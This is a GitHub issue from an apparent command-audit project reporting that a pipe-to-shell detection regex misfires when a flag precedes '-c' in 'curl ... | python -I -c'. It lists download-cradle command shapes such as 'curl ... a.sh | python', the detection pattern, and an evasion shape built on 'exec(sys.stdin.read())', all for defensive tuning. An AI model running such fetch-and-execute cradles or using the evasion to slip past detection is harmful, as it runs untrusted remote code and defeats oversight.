Skip to content

A flag before -c defeats the #50 exemption, so curl into python -I -c fires critical #388

Done

Description

@blitzcrieg1

The #50 exemption only applies when -c comes straight after the interpreter. Any flag in between, such as -I or -u, turns a data pipeline back into a download cradle, and encoded-command-download fires at critical.

Reproduction

Checked against PIPE_TO_SHELL on master, fingerprint 15846a0915769d4a, without changing anything:

Command PIPE_TO_SHELL matches Correct?
curl -s https://example.org/a.json | python -c "import json" No Yes
curl -s https://example.org/a.json | python -I -c "import json" Yes No
curl -s https://example.org/a.json | python3 -u -c "import json" Yes No
curl -s https://example.org/a.sh | python Yes Yes, the download is the program

Cause

_INLINE_SCRIPT in core/audit/detection/traits.py is a lookahead placed directly after the interpreter name:

_INLINE_SCRIPT = r"(?!\s*-\w*[ce]\b)"

It only sees the first token after the interpreter. In python -I -c, that token is -I, so the lookahead passes and the pattern matches. The shell branch of PIPE_TO_SHELL uses the same lookahead, so sh -e -c probably behaves the same way. That case is not tested.

How it was found

Dogfood week 10, 2026-11-06. An agent fetched tests/logsource.json from SigmaHQ/sigma and piped it into python -I -c with its own inline script, reading the download as JSON. Nothing downloaded was executed. The detection was dispositioned as a false positive, and the week stays green.

python -I is what isolated Python should look like when it reads downloaded data, so the rule currently penalises the safer way of writing this command.

Fix, when it can land

  • traits.py is frozen and hashed into the ruleset fingerprint. Do not fix this alone. It belongs with the other changes that move the fingerprint, in one pass (Observable techniques collapse into T1059 because the mapper only upgrades on credentials and egress #55).
  • Skip flags that take no value before looking for -c or -e.
  • curl x | python -I and curl x | python - have no script of their own and must stay cradles.
  • Add both shapes to the benchmark corpus: the flagged inline script as benign and the flag with no script as an attack.
  • The residual stated in the existing comment does not change: python -I -c "exec(sys.stdin.read())" would slip the trait, and INLINE_EVAL is what sees that shape.

Parked with the detection-noise work until the feature stop lifts.

Activity

  1. added
    bug
    detection-rule
    on Nov 7, 2026
  2. added
    bounty
    on Nov 24, 2026
  3. blitzcrieg1 commented on Nov 25, 2026

    @blitzcrieg1
    OwnerAuthor

    Fixed by #469 (from #463): preceding flags before -c/-e no longer defeat the inline-script exemption; "python -I" without -c still flags as pipe-to-shell.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bountybugdetection-rule

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions